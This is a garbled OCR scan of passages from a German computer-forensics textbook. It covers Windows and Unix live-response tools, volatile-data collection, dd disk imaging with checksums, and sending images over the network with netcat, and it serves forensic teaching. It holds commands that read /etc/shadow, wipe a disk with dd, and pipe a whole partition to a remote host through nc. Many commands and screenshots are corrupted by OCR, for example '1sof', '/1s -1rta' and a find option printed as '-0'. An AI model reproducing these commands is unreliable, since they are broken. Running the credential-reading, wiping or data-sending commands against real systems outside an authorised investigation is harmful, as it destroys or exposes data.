von einem laufenden Windows-System sicherheitsrelevante Daten fiir
die Sicherheitsvorfallbehandlung oder ein Audit zu sammeln. Dabei
werden im Vergleich zu anderen Tools die wenigsten Spuren bei der
Datensammlung zerstort. Die fiir den privaten Einsatz kostenfreie
WEFT startet die entsprechenden Werkzeuge fiir die Abfrage der Para-
meter, speichert das Ergebnis in Evidence-Textdateien und erstellt
einen ubersichtlichen HTML-Report. Dieser Bericht enthilt neben der
Prufsumme der verwendeten Binardatei auch die Bezugs-URL fur die
Verifikation. Uber eine Konfigurationsdatei kann das Werkzeug sehr
flexibel angepasst werden, allerdings muss sich der Anwender die auf-
gerufenen Analyse-Binaries selbst zusammenstellen und idealerweise
in das WFT-Verzeichnis kopieren. Neben der Ausgabe der Tools von
sysinternals.com konnen samtliche Informationen tiber den Netzwerk-
status sowie der Inhalt des Hauptspeichers ausgelesen werden. Der
Anwender kann beim Start entscheiden, ob er lang laufende Befehle

30. Eine Liste forensisch relevanter Registry-Eintrige findet sich unter
http:/lcomputer-forensik.org/registryl.
31. http:/lhwww.foolmoon.net/security/
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ausklammern mochte. Die bereits besprochene Helix-CD enthailt eine
vorkonfigurierte WFT-Installation.

.ﬁl-nl-\nnr Toskhen™ (WFT) - u Abbo 6_41
. Der HTML-Report von WFT
Fnol Moo‘ ® windows Forensic Toolchest™ (WFT) zeigt alle wesentlichen
Main  Log C::;ig File Husl:: P T —— e { Informationen auf

o einen Blick.

WOM-COMMEREIAL USE ORLY

PLCLIP V‘ [Pd5=52C 2ABBCEACBICEAAERF 2L 1T214490)
ﬁ:} MeyRwinips exe -galW > Ciiscratchwitdibatips. et

LAST C

LAST
LAST
LAST CREATED C

LAST CREATED D

PS5 (htp:/ fwww. ovgwin. cori]

P - FEPOrT procuss status

LAST CREATED K [T i =t (ndSe2a416ASACFDIEADCTERE 5
LAST MODIFIED ¢ FID  FPID  FGID WINFID TTY UID  STINE CONMAND
LAST MODIFIED O 4 o o 4 7 0 21:24:40 TTY unknown Tev
LAST MODIFIED ¥ 202 o o 282 7 0 Dec 10 \SystemRoot\Systemdl\smss.exe
T — 364 o o 364 7 0 Dec 10 | 77)C:) VINDOWS) syatemizwinlogon. mxe
R 412 o [ 412 7 0 Dee 10 C:)UINDOUS\|systemdZ)scevices.exe
= 424 o [ 429 7 0 Dee 10 C:)\UINDOUS|ayscemiZ)lanms,eue
hRCK 580 o 0 580 2 0 Dec 10 C:\WINDOUS\systemd2)svehose.exs
796 o o T96 7 0 Dec 10 C:\WINDOUS\SystemdZ\svchost.exe
N 260 o o B60 7 0 Dac 10 C:\WINDOUS\systemdZ\spoolev.exe
1184 o o 1184 7 0 Dee 10 C:)Progeamme)bell)Sysngeldstaeng)bin) dem
1208 o [ 1208 7 0 Dee 10 C:)Progeamse)bell)SyaMge|datasng\bin) dom
1232 o [ 1232 7 0 Dee 10 C:\WINDOUS\Syscem3Z\svehost.exe
1380 a a 1380 i 0 Des 10 C:Y Dell) Syslgel .
1424 o a 1424 7 0 Dec 10 C:\Programme\Microsoft SOL Server\MSSOL.:
A 1460 o o 1460 7 0 Des 10 C:\ pell y dem_cm 1
APTIHE HISTORIGAL 1832 o o 1932 ? 0 Dec 10 Ci\Programme)lell)Sysmgelive\bin)vindzid
2086 o [ 056 7 0 Dee 10 C:)Programme)Gemeinssme Dateien)VNusee)V]
2082 o [ 2092 7 0 Dec 10 C:\UINDOS\aystem3Z\vmant.cxe
2148 0 [ 2148 7 0 Dec 10 C:\Programe\Sysantec)Backup Execiberesmot
2264 a a 2264 it 0 Dec 10 Ci\Progreme)VEvare)Vivare Vorkstatiomiwv
2312 o o 2312 7 0 Dec 10 C:\WINDOUS|systemdZ\vimnerdhep.exe =

6.16.4 Live View

Eine wichtige Methode, um einen Eindruck von einem kompromittier-
ten System zu bekommen, ist die Konvertierung eines forensischen
Duplikats in eine lauffihige virtuelle Umgebung. Das an der Carnegie
Mellon University beheimatete CERT hat fur diesen Zweck das auch
im Quellcode verfiigbare freie Werkzeug Live View>? entwickelt. Live
View ist eine derzeit nur unter Windows laufende Java-Anwendung,
die aus einem mit dem Werkzeug dd erstellten Festplatten-Image oder
einem vorhandenen physischen Datentriger eine VMware Virtual
Machine erstellt. Dies ermoglicht es einem Ermittler, ein erstelltes
forensisches Datentriger-Image im Verlauf der Ermittlung unter
VMware zu booten, um das System genau so zu sehen, wie es der
Anwender gesehen hat. Die erstellte VMware Virtual Machine ist read-
only gesetzt, das Image wird somit durch das Starten nicht modifiziert.
Live View ist in der Lage, startbare VMware Virtual Machines aus
kompletten Festplatten-, aber auch Partitions-Images zu erstellen.

32. http:/liveview.sourceforge.net/
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Ebenso konnen via USB oder Firewire verbundene Datentriger als
Quelle herangezogen werden.

Abb. 6-42 =3 Live View 0.5

File

Mit Live View Idsst sich aus

M Initialization Parameters
einem forensischen Image

RAM Size Syskem Time
eine VMWare- E3 [ 09.02.2007 18:47:58
Konfiguration erstellen. )
‘ Microsaft Windows 95 v |

Select Your Image or Disk

() Image File(s) () Physical Disk

| Dilcases\07 . Alex.iklimage, dd | [ Browse

Seleck Oubput Direckary For YM Config Files

| Dihcases\07 . Akx.ix|out | [ Browse

What da vaou want ko do?

(3) Launch My Image () Generate Config Only

Actions
Messages
Making image fil (=) read-only at users request ~

Detected Whiare Server Installation

Detected Fartition Image

Generating wmx file...

Generating vmdk file. .

WMX zdded to WhWare Server Canfig

Snapshot Created

Bootable Partition 1:wind3 prepared far launch
Whditare Consale Stated

Attempting to Launch Forensic Image in Witual Machine
Flease iifait... b

Live View bietet dem Ermittlungsspezialisten die Moglichkeit, mit dd
erstellte oder in das Raw-Image-Format konvertierte Datentrager-Ima-
ges in eine lauffahige VMware-Installation zu konvertieren und somit
ein verdachtiges System zu reanimieren. Dies hat entscheidende Vor-
teile, da damit die Analyse von Malware oder anderen verdichtigen
Vorgingen erleichtert oder in einigen Fillen sogar erst ermoglicht
wird. Ein weiterer Aspekt ist auch, dass man nun auch einem technisch
nicht versierten Publikum Sachverhalte und Vorginge so am lebenden
Objekt zeigen kann, wie sie der Anwender gesehen haben mag. Live
View gehort somit in die Werkzeugkiste eines jeden Ermittlers.
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Die in Kapitel 4 und 5 vorgestellten Vorgehensweisen werden nun an
konkreten Beispielen illustriert. Dazu nutzen wir die in Kapitel 6
beschriebenen Werkzeuge. Anhand von typischen Analyseszenarien
gehen wir sowohl auf typische Windows- als auch Unix-Umgebungen
ein. Aufserdem lernen Sie die forensische Analyse bei Smartphones und
bei Routern kennen. Sie werden dabei schnell erkennen, welche Werk-
zeuge sich fiir welche Untersuchungsumgebung besonders eignen.

7.1 Forensische Analyse unter Unix

Im folgenden Kapitel werden Ansitze und Methoden vorgestellt, um
eine forensische Analyse an einem Unix-System durchzufiihren.

7.1.1  Diefliichtigen Daten speichern

Wie bereits in Kapitel 4 beschrieben, sind beim ersten Kontakt mit dem
verdichtigen System folgende Dinge fiir den Fortgang der Ermittlung
von Interesse: Zeitstempel des Systems, trojanisierte Systemprogramme,
versteckte Dateien bzw. Verzeichnisse, angemeldete User, aktive Netz-
verbindungen, abnorme Dateien bzw. Sockets und abnorme Prozesse.
Alle anderen Informationen konnen aus einem forensisch duplizierten
Festplatten-Image erzeugt werden.

Man wird nur in seltenen Fillen zu einem System kommen, dessen
Einbruch noch »frisch« ist und nicht durch einen verzweifelten Admi-
nistrator gebootet oder sonst irgendwie modifiziert wurde. Dennoch
sollten die im Folgenden beschriebenen Daten erfasst werden (es diir-
fen nur eigene »saubere« Systemtools dafiir verwendet werden, da die
lokalen trojanisiert sein konnten). Wichtig: Bei jedem Zugriff auf eine
lokale Datei dndert sich deren MAC-Time!

Es sind unbedingt die Systemzeit und deren Differenz zu einer ver-
trauenswiirdigen Referenzzeit vor und nach der Analyse zu vermerken,

Systemzeit
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Was ist zuerst zu sichern?

Tab. 7-1

Befehle, die zum Erfassen

von fliichtigen Daten
unter Linux verwendet

werden kénnen

um bei einer eventuell spateren Auswertung des Festplatten-Image die
eigenen Anderungen am System von denen des Angreifers zu unter-
scheiden.

Die Daten sollten in der Reihenfolge ihrer Halbwertszeit gesichert
werden. Als Erstes ist hier der Inhalt des Cache zu nennen, dann folgen
die Sicherung des Hauptspeicherinhalts, Informationen tiber den Netz-
werkstatus (offene Ports, aktive Verbindungen, gerade beendete Ver-
bindungen etc.) und laufende Prozesse (alle Informationen: Mutter-
prozesse, Eigentiimer, Prozessorzeiten, Aufrufparameter etc.). Wichtig
ist auch der Inhalt des proc-Dateisystems, da sich hier die Binaries der
laufenden Programme befinden. Wenn ein Programm nach dem Start
geloscht wurde, kann man es dort finden:

# /mnt/cdrom/forensic/bin/cat /proc/PID/exe > filename

Informationen, die als Nachstes fir die erste Einschitzung der Sach-
lage gesammelt und ausgewertet werden sollten (hier bei einem Linux-
System), finden sich in folgender Ubersicht (bei hidufigem Einsatz ist
hier ein Skript zu empfehlen):

hostname Name des Systems

cat /proc/cpuinfo Informationen Gber den Prozessor

df -h GréBe und Anzahl der eingebundenen Partitionen und
deren Fllungsgrad
fdisk -1 Informationen Uber den physischen Datentrager und die

Partitionierung

cat /proc/version Information Uber den aktiven Kernel, Compiler-Version

und Kompilierdatum etc.

cat /proc/cmdline Anzeige der aktiven Boot-Parameter

env Anzeige der Shell-Umgebungsvariablen

who Anzeige der angemeldeten User

ps -efl Liste der laufenden Prozesse

ifconfig -a Informationen Uiber die konfigurierten Netzwerk-Interfaces
ifconfig -s und deren Statistik

arp -n Anzeige der Eintrage der Arp-Table

arp -a (eigene HW-Adresse und die im Cache enthaltenen)

cat /etc/hosts Anzeige des Inhalts des Host-File

cat /etc/resolv.conf Anzeige der DNS-Konfiguration

Inhalt der Passwortdatei
Inhalt der Shadow-Datei

cat /etc/passwd

cat /etc/shadow

netstat -anp Anzeige der aktiven Netzverbindungen

netstat -rn Anzeige der Routing-Tabelle
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1sof -P -i -n

Anzeige der gedffneten und aktiven Ports

1sof

Komplette Ausgabe aller durch Prozesse gedffneten
Dateien

cat /proc/meminfo

Informationen Gber den Hauptspeicher

cat /proc/modules

Informationen Uber aktive Module

cat /proc/mounts

Informationen Uber die gemounteten Dateisysteme

cat /proc/swap

Informationen Uber die Swap-Konfiguration

cat /etc/fstab

Konfiguration der Mountpoints

1s /proc | sort -n | grep -v [a-z,A-Z] | while read PID
do
echo "Prozess ID $PID:"

Von jedem laufenden
Prozess werden
Umgebungsvariablen,

cat /proc/$PID/cmdline
cat /proc/$PID/environ
cat /proc/$PID/maps
cat /proc/$PID/stat
cat /proc/$PID/statm
cat /proc/$PID/status
cat /proc/$PID/mem

1s -1d /proc/$PID/root
1s -1d /proc/$PID/cwd
1s -1d /proc/$PID/exe

done

s -Trta /proc/$PID/fd/
echo "--mmmmmmm o

verwendete Speicher-
bereiche etc. angezeigt

Fiir die meisten Informationen wird direkt auf das /proc-Dateisystem
zugegriffen, ohne zusitzliche Tools zu verwenden.

Mit folgendem Befehl sucht man nach SUID- bzw. GID-Dateien,
zerstort aber ginzlich alle MAC-Times (deswegen sollte dies nur
NACH der Erstellung eines forensischen Duplikats gemacht werden!
Idealerweise kann dies auch am Duplikat untersucht werden).

find / -perm -2000 -0 -perm -4000 -print | xargs /1s -1 {}

Ahnliche Auswirkungen auf den Status der MAC-Times hat die Ana-
lyse der Datei- und Verzeichnisrechte. Daher sollte man dies wenn

moglich am Image durchfihren:

/1s -1rta /etc
/1s -Irta /bin
/1s -1rta /sbin
/1s -Rirta Jusr
/1s -Rlrta /var
/1s -Rirta /dev
/1s -Rirta /home
/1s -Rirta /1ib

Das Unix-Diagnose-Tool Isof (List Open Files) ist fiir die Erstellung
eines Snapshots eines verdichtigen Systems sehr niitzlich. Mit Isof

SUID- und GID-Dateien

Datei- und
Verzeichnisrechte

Geoéffnete Dateien
und Ports
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kann man protokollieren, welche Dateien durch einen Prozess offen
gehalten werden. Zusitzlich erhilt man Informationen, welche Ports
durch einen Prozess verwendet bzw. ge6ffnet werden:
Abb. 7-1 _[olx]
Suche nach gedffneten
2/
Ressourcen durch den 2/
. z.5 Auzrdshindsshd
SSH-Daemon mit Isof 3.5 /1ib/1d-2.3,2,50
3.0 Ausr/libdliburap,s0,0,7,6
3.5 /1ib/libpam,=s0,0,75
ER #1ib/libd1-2,3,2, 50
3.5 /lib/libresolv-2,3,2, 50
sshd 1661 alex mem  REG 3.8 12716 344773 /lib/libutil-2,3.2,s0
zshd 1BEL alex  mem REG z.h 52B16 220857 fusr/libdlibz,so,1.1.4
zshd 16EL alex  mem REG 3.5 91624 944751 /lib/libnsl-2,3.2,50
zzhd 1661 alex  mem REG 3.5 9E9116 944775 /lib/libecrypto,=20,0,9.7a
zshd 1661 alex  mem REG 3.5 385220 377380 fusr/kerberos/1ib/1ibkrbS,s0
Ak
zzhd 1EEL alex  mem REG 3.5 E3880 977370 Ausrskerberos/libs libkSorypt
0,50,3,0
=zhd 1661 alex  mem REG 2.5 5572 977360 fusr/kerberos/1ibs/1ibeom_err
+50,3,0
zzhd 1BEL alex  mem REG ER e 977366 Ausr/kerberos/lib/libgesapi_
krb5,s0,2,2
=shd 1661 alex mem REG 3.5 1536292 820729 /libstls/libc-2,3,2, 50

Systemkonfigurationen
und Logdateien

Das im TCT enthaltene Tool grave-robber! kann auch fiir die Analyse
des Systemstatus verwendet werden. Grave-robber verwendet aber
viele systemeigene Befehle, sodass man hier sehr vorsichtig vorgehen
sollte.

# ./grave-robber
Starting preprocessing paths and filenames on auditl...
Processing $PATH elements...
Jusr/local/sbin
Jusr/Tocal/bin
/sbin
/bin
/Jusr/sbin
Jusr/bin
Jusr/X11R6/bin
/home/alex/bin
Processing dir /mnt/forensic/tct-1.11/bin
Processing dir /etc
Processing dir /bin
Processing dir /sbin
Processing dir /dev
Finished preprocessing your toolkit... you may now use programs or examine files in
the above directories

Abb.7-2  Grave-robber in Aktion

1. Zu Deutsch: Leichenfledderer oder Grabrauber



Lizenziert fur 2109487.
© 2014 dpunkt. Alle Rechte vorbehalten. Keine unerlaubte Weitergabe oder Vervielféltigung.

7.1 Forensische Analyse unter Unix 213

Grave-Robber kopiert Systemkonfigurationen und Logdateien in ein
Analyseverzeichnis und erstellt eine HTML-Ubersicht:

[ s -imx|  Abb.7-3

al e g a @ e forerae_flshdotador_24_2003_06_01_08:47,05_+0200]cord vl fevder. bl =] [Cy Search | <X ersicht aervom
- AR S L s =t Rl J =] (grave-robber)

The Coroner's Toolkit Found these Configuration/Interesting files sichergestellten Dateien

fabin/initlog /sbin/xchkleg /sbin/isdnloy fust/sbin/postiog fuse/bin/Zaillog fusz/bin/lastlog
fuse/bin/inacall-caralog /usrfbin/rlog fuse/bin/grep-changelog fusr/bin/dh princleg fuac/bin/dislog
Juse/bin/x=lcatalog /usc/share/cva/conteib/ecatlog /usc/bin/gdialog /ete/at.deny /boot/grublgeub.cont /ete/gee.cont
Tetc/hoats deny /eto/varnguota.conf /etc/gpm-root.conf /eto/ logrotate,conf /etc/asp.cont [ete/nscd.cont
Jerc/scrollkesper conf jetc/pnmippa.cont Jetciaeplog.cont /eTc/initlog.conf JELc/ntp.cont jetc)phmZppa.cont
fetc/cdrecord.cont jecc/sysccl.cont fetc/jwhois.cont jecc/paper.config /ecc/logsurfer.cont /fecc/named.cont
fete/puds.conf fece/pam s=h.conf fecc/esd.conf /eec/snorecont/sc.cont /eec/ld.so.conf /ecc/updfatab.cont
Jetelvenaly. cont feto/keb. cont /ete/fuloguatch.confiy /eto/xinetd.conf /eto/yp.cont /etc/kebS cont /etc/ayslog.cont

Jersl toh £ /i 1 f /etc/hosta.allov /eto/lftp.conf /eto/ it £ /etc/rod 2 /etc/medul 3
fere/nost . cont ,-'etca’ nnue: cont .rgtc.-'wanx cont /etc/mail.te .fgtc.-'man conn_g ,fe\.cfxm cont .fgtcfupuntedb cont
fere/ldap. conf feco/anore.smave/rules/anore.cond /ecofanore. aave/cinsaification.config

Jete/anore . save/tefecence contig /eto/anoct. save/anart.cont fote/vafrpd/vaftpd.conf /etc/onore/anore.cont

Jete/snort/ tules/snoct.cont Jeto/Snort/tefecence . contly /ELc/anort/ classification.confly /etc/ anmp/ smepd. cont
Fetcixmlicaralog Jetc/sgmifsgmi cont fetc/sgmiicatalog Jete/vEs/modules/ssi-modules.cont
fetc/via/modules/default-podules. cond /etc/vis/modules/excra-modules. cont fetc/postdix/master.cf fetc/postfix/main. cf
fecc/gnome-vEa-2 .0/ modulea/ he lp-mechods. cont /ece/ gname -via-2,0/modules/ font -=echod. cont

Jeto/ gnome—vta-1.0/modules/extra-modules cont Jetc/ wis-2 .0/modules/defalt-modules . conf
Fetc/gnome—via-Z.0/modules/ s l-modules.cont /eto/ gnome-vis-2.0/modules/ mapping-nodules.conf /etc/foomatic/filtec. cont
JEEC/CUps/Clent (CORT [8LC/CUPS/ PEINTELS.CORS J&LC/CUpS/Cupad.CONT /etc/Cups/Classes, Cont /etc/ samba/smb.cont
fete/herpd/cont . d/onl.cont fete/heepd/eont . diperl.conf /eco/hrepd/eont/heepd. cont fece/fonta/fonts.cont

fete/ log.d/ cont/ logwatch.cont [ete/ log.d/aceiptalaccvices/ ftpd-xfer log /ete/ log. d/cont/ accvicea/ mountd . cont

Tete/ log.d/ cont/setvices/dhopd.conf /ete/ log.d/cont/secvicea/ pam pudb,conf /ete/ log.d/ cont/secvicesl ipapid. cant
Fere/1og. d/cont/ services/modprobe. cons Jete/ 1og.dJ cont/ services/ Tepa-xTerlog.cONE /etc/ log.d/cont/secvices/init.cont
fetc/log.dicont/services/ profipd-nessages . conf /ecc/ log.d/cont/secvices/sendmail. cont

Zere/ 1og.d/cont/services/ aubomount .ont. {ete! lnq.ua’nﬂnr!ﬂrrv\ﬂm’ﬂnhn...l-nnr {ete/ 10g.a/cont/ services/ naned cont

fatc/log.d/cont/servican/tac_acs.co

e/ luq u.-’:on:fun:cu.rqmu cont Jetc/ loq a.-’con:fu:v:ceafp:u:o cont
fetcflog. w’con:,-f:e:vxce:!pm unix !etc,f log.d/cons/secvices/sahd, con: .-'etc.-’ log.d/cont/services/exim. cont
Jete/log.d/cont/arrvicea/smartd. cont fete/ log.d/cont/asrvicea/acunne b, conf fece/ log.d/cond/seevices/atpd. cont
fetef lag, .|r.—m.rrw;n. o9/ portacntey.conf fete/ log.d/cont/accviceal in, qpoppes . cont
tel Lo Tiar f ietcilon fiamryicaalril1d co
In

oD=2e0 o

Fur die Analyse des von einem verdachtigen Prozess belegten Haupt-  Hauptspeicherinhalt
speicherinhalts kann das ebenfalls im TCT enthaltene Tool pcat ver-

wendet werden. Damit kann man der Funktion eines Prozesses zur

Laufzeit auf die Schliche kommen.

Ein Beispiel fiir das Sichern fliichtiger Daten

Im folgenden Beispiel wird mittels netstat entdeckt, dass Port 6767
geoffnet ist:

# /mnt/forensic_bin/netstat -an|/mnt/forensic_bin/more
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tep 0 0 0.0.0.0:6767 0.0.0.0:* LISTEN
[.]

Mit Isof wird nun ermittelt, welcher Prozess den Port geoffnet hilt:

# /mnt/forensic_bin/1sof -1 -P -n
COMMAND ~ PID USER  FD  TYPE DEVICE SIZE NODE NAME

(-]
.ghtd 24576 root 3u IPv4 281740 TCP *:6767 (LISTEN)

Die Suche nach der Datei .ghtd ist erfolglos, da sie nach dem Start
geloscht wurde. Der Prozess lauft aber unter PID 24576.
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Der Inhalt von /proc/24576/cmdline zeigt nun den urspriinglichen
Speicherort und die an das Binary iibergebenen Parameter:

$ /mnt/forensic_bin/cat /proc/24576/cmd1ine
/tmp/.ghtd-1-p6767

Der Speicherort /tmp/.ghtd wird vermerkt, da die Chance besteht, dass
die Datei aus dem unallozierten Bereich des zu erstellenden Image ext-
rahiert werden kann. Sofortigen Zugriff auf die Datei hat man mit fol-
gendem Befehl:

$ /mnt/forensic_bin/cat /proc/24576/exe > /mnt/forensic_flash/data/.ghtd extract

Die im RAM enthaltenen Informationen des verdichtigen Prozesses
werden in eine Datei gesichert:

$ /mnt/forensic_bin/pcat 24576 > /mnt/forensic_flash/data/.ghtd pcat
und einer String-Analyse unterzogen:

$ /mnt/forensic_bin/pcat 24576 |/mnt/forensic_bin/strings
L]
SSH_CLIENT
%.50s %d %.50s %d
SSH_CONNECTION
SSH_TTY
%.200s/.ssh/environment
Environment:

%.200s
SSH_AUTH_SOCK
KRB5CCNAME
SSH_ORIGINAL_COMMAND
DISPLAY
TERM
LOGNAME
HOME
PATH
/var/mail
%.200s/%.50s
MAIL
SHELL
Jusr/local/bin:/bin: /usr/bin
/bin/sh /etc/ssh/sshrc
Could not run %s
Running %s %s

(]
Es zeigt sich, dass es sich bei dem verdichtigen Prozess moglicherweise
um einen weiteren SSH-Daemon handelt konnte. Da dieser auf einem
ungewOhnlichen Port lauscht, kénnte man es eventuell mit einer troja-
nisierten Variante zu tun haben.
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7.1.2  Forensische Duplikation

Neben dem simplen Anlegen von Images stellt sich auch die Frage, wo
man diese am besten ablegt oder uber ein Netz transportiert. Im fol-
genden Text werden diese Vorgdnge an Beispielen naher erlautert.

Die verddchtige Platte an ein eigenes Analysesystem anschlieen

Die verdichtige Festplatte wird an den freien IDE-Kanal (bei SCSI ent-
sprechend an einen SCSI-Kanal) angeschlossen und mit einem exter-
nen Jumper als SLAVE definiert, um sicherzustellen, dass unter keinen
Umstinden von dieser Platte gebootet wird. Bei einem neuen Analyse-
system sollte dies mit einer neuen zweiten Festplatte getestet werden.
Als Zielplatte wurde in diesem Beispiel eine SCSI-Wechselplatte ver-
wendet. Nach dem Systemstart sollte verifiziert werden, ob beide Fest-
platten richtig erkannt wurden. Dies kann man durch die Eintrdge in
der Datei /var/log/dmesg uiberpriifen. Diese Datei wird normalerweise
bei jedem Systemstart erstellt:

Linux version 2.4.20-Fire (root@localhost.localdomain) (gcc version 2.96 20000731
(Red Hat Linux 7.3 2.96-110)) #3 Thu Feb 27 02:52:15 PST 2003 [geldscht]
hda: 39070080 sectors (20004 MB) w/1806KiB Cache, CHS=2432/255/63, UDMA(33)
Partition check:

hda: hdal hda2 hda3 hda4 < hda5 hda6 hda7>

hdc: [PTBL] [2586/240/63] hdcl hdc2 < hdc5 >
SCSI subsystem driver Revision: 1.00

[geldscht]
SCSI device sda: 35937500 512 -byte hdwr sectors (18400 MB)

sda: sdal

[geldscht]

Abb.7-4  Boot-Protokoll des Analysesystems (Die SCSI-Platte /dev/sda dient als Speicher
der Images, /dev/hdc ist die verddchtige Platte.)

Bevor der Imaging-Vorgang gestartet wird, sollte eine Prifsumme
erstellt werden:

# md5sum /dev/hdc
ef1d52301535¢df180f07c66db041aa /dev/hdc

Zur Sicherheit sollte die Zielplatte nochmals geloscht werden, hier
durch das Uberschreiben mit Nullen:

# dd if=/dev/zero of=/dev/sda; sync

Der folgende Kontrollbefehl sollte demzufolge nur Nullen hervorbrin-
gen:

# dd if=/dev/sdb | xxd | grep -v
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Auf der neuen Festplatte wird ein Dateisystem erstellt. Dann wird die
Platte gemountet:

# mount -t ext2fs /dev/sdal /mnt/forensic_images

Als Nichstes wird die Partitionstabelle der verdichtigen Festplatte
protokolliert:

# fdisk -1 /dev/hdc > /mnt/forensic_images/X 1 200202.fdisk
Der Inhalt dieser Datei sieht dann so aus:

cat X_1 200202.fdisk

Disk /dev/hdc: 240 heads, 63 sectors, 2586 cylinders
Units = cylinders of 15120 * 512 bytes

Device Boot Start End Blocks Id System

/dev/hdcl * 1 1033 7809448+ c Win95 FAT32 (LBA)
/dev/hdc2 1034 1292 1958040 f Win95 Ext'd (LBA)
/dev/hdc5 1034 1292 1958008+ b Win95 FAT32

Die gesamte Festplatte wird nun mit dd dupliziert, um unallozierte
Bereiche und z.B. Partition Gaps (sieche Abschnitt 5.11) zu erfassen:

# dd conv=noerror bs=512k if=/dev/hdc of=/mnt/forensic_images/X_1 200202.dd
38185+1 records in
38185+1 records out

Von jeder Partition werden nun Priiffsummen erstellt:

# md5sum /dev/hdcl > md5_1

# more md5_1
22b52a80dbbed6b76d6dbed224da04bl /dev/hdcl
# md5sum /dev/hdc2 > md5_2

# more md5 2
342088236a3df6151acd7b89d44f12a7 /dev/hdc2
# md5sum /dev/hdc5 > md5_5

# more md5 5
98079668c50a40c92d58fe9bef8b0b13 /dev/hdc5

Jede Partition wird jetzt separat dupliziert:

# dd conv=noerror bs=512k if=/dev/hdcl of=/mnt/forensic_images/X_1 200202 pl.dd
15252+1 records in

15252+1 records out

# dd conv=noerror bs=512k if=/dev/hdc2 of=/mnt/forensic_images/X_1 200202 p2.dd
3824+1 records in

3824+1 records out

Ubertragung der Daten vom verdichtigen System aus

Mitunter kann die forensische Duplikation nicht an einem externen
Analysesystem vorgenommen werden, sondern muss auf dem verdach-
tigen System selbst erfolgen. Dies kann z.B. der Fall sein, wenn die zu
untersuchende Festplatte nur in Verbindung mit dem Original-Mother-
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board oder Original-Controller fehlerfrei arbeitet (etwa bei einigen
Notebook-Modellen).

Grundsatzlich sind dann zwei Verfahren moglich:

Man bootet das verdichtige System mit einem eigenen Boot-
Medium und fithrt dann eine Duplikation auf eine angeschlossene
leere Festplatte durch. Hierbei muss sichergestellt sein, dass das
System nicht von der verdichtigen Platte bootet, da sonst wichtige
Daten zerstort werden konnen.

Man bootet das verdichtige System mit einem eigenen Boot-
Medium und ibertragt das zu erstellende Festplatten-Image tiber
ein Netz (auch iiber ein Cross-Link-Kabel). Hierbei ist darauf zu
achten, dass die Daten wihrend der Ubertragung nicht verindert
werden oder anderweitigen Gefahren ausgesetzt sind.

Fiir die Ubertragung der Images iiber eine Netzverbindung eignet sich
das Tool Netcat* (nc). Netcat hat sich zu einer Art Standardwerkzeug
fiir den Sicherheitsspezialisten entwickelt. Das Tool wird zu Recht als
»Schweizer Taschenmesser fiir Sicherheitsspezialisten« bezeichnet. Mit
Netcat konnen beliebige Daten via UDP oder TCP tibertragen werden.
Bei der Ubertragung vertraulicher Daten iiber ungesicherte Netze
sollte auf Cryptcat’ zuriickgegriffen werden. Cryptcat unterscheidet
sich in der Grundfunktion nicht von Netcat, verfiigt aber als Erweite-
rung iiber eine Blowfish-Verschliisselung.

Eingabe auf dem verdichtigen System (hier ein Windows-System):
dir c:\| nc 10.0.0.1 8000
Ausgabe auf dem Analysesystem 10.0.0.1:

nc -1 -p 8000
Datentrdger in Laufwerk C: hat keine Bezeichnung.
Datentrdgernummer: 4458-7145

Verzeichnis von c:\

28.03.2002 19:22 <DIR> Dokumente und Einstellungen
04.06.2003 13:09 <DIR> Programme

04.06.2003 21:26 <DIR> temp

04.06.2003 13:19 <DIR> WINNT

4 Datei(en) 1.073.741.589 Bytes
6 Verzeichnis(se), 1.452.605.440 Bytes frei

Abb.7-5  Beispiel 1: Allgemeine Anwendung von Netcat

2. http://netcat.sourceforge.net/
3. bup:/icryptcat.sourceforge.net/

Netcat und Cryptcat


http://cryptcat.sourceforge.net/
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Adepto

Eingabe auf dem verdachtigen System:
# dd if=/dev/hda2 | nc 10.0.0.1 8000

(Der komplette Inhalt der Partition hda2 wird via Netcat an ein
anderes System auf Port 8000 gesendet.)

Auf dem Zielsystem 10.0.0.1 sollte dann zum Speichern des
Datenstroms folgender Befehl verwendet werden:

# nc -1 -p 8000 |dd of=/forensic/image.hda2

Abb.7-6  Beispiel 2: dd mit Netcat

Eingabe auf dem verdichtigen System:
# dd if=/dev/hda2 | cryptcat —k Passwort 10.0.0.1 8000

Zielsystem:

# cryptcat —k Passwort -1 -p 8000 | dd of=/forensic/image.hda2

Abb.7-7  Beispiel 3: dd mit Cryptcat

Die Programmierer der Firma e-fense Inc. haben auf ihrer CD Helix
eine grafische Oberfliche namens Adepio fiir die gangigen Festplatten-
duplikationstools veroffentlicht. Adepto 16st die dhnlich gearteten
Werkzeuge GRAB und AIR ab. Dieses Werkzeug ldsst sich auch unab-
hingig von Helix unter Linux verwenden. Adepto ist im Grunde
genommen eine grafische Oberfliche fiir dd, sdd, dcfldd und die
zusatzlich zu verwendenden Priifsummenwerkzeuge mdSdeep, shaldeep
und sha256deep. Der Vorteil von Adepto liegt in der nahezu fehlerfrei
zu bedienenden Wizard-gesteuerten grafischen Oberfliche in Kombi-
nation mit einer vollumfinglichen Protokollierung aller durchgefiihr-
ten Tatigkeiten.

Schrist 1
Start von Adepto und Vergabe der Case-Nummer:
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Abb. 7-8
Adepto starten

Enter a user name to proceed:

|.-’-‘-.Iexander Geschonneck

Enter a case number (optional):
200736401

’— Progress

=

Ihdepto Log File
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Schritt 2
Analyse der angebundenen Speichermedien:

Abb. 7-9 5 x
, . el eyiey 20 e Slbecn), S ey §1i=]
Speichermedien epto 2.0 (To Obtain, Get, Acquire) 9li=]
analysieren File Help |

Start | Device Info | Acouire | RestarefClare | Loy | Chait of Custocdy |

3‘_.
IDE UsBe Firewire RAID CD/DVD Memory Smart
Stick Media
Device: |sda1 ﬂ [Fescan Devices]
Make: |Hitachi

Model: IHTSS4BUSBU."—".

Serial Humber: IMRL455L4JUDJB

Size: |410 113791

Size (Byles): [958924036+

Sectors: [22016000

System Bus: |scsi@0:0.0.0

’— Progress

IDevice sdal has been set for acguisition. . .
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Schritt 3
Konfiguration des Speicherorts fiir das Image und die Einstellung
der verwendeten Priifsummenverfahren:

Abb. 7-10
Adepto konfigurieren

. File Help |

Start | Device Info | Arouire ] Restore/Clone | Log | “hy

— Source Information

Source Device: 502l sdal: Hitachi
. Model: HT35480980A
Imagge Mare: Isda1 =irng.cd = Size: 410 119791

Imagge Motes:

— Destination Information

Destination: ¥ Attached -~ Methios - Netcat

tdaunt Point: EJ‘rnntJ‘forensich’ca.ses!D?.EH569E|| D

— Options
Type: ® DCFLDD - AFF Hash: sHascs _lSegment(MB):I ;J
1 Use Advanced Options

Advanced

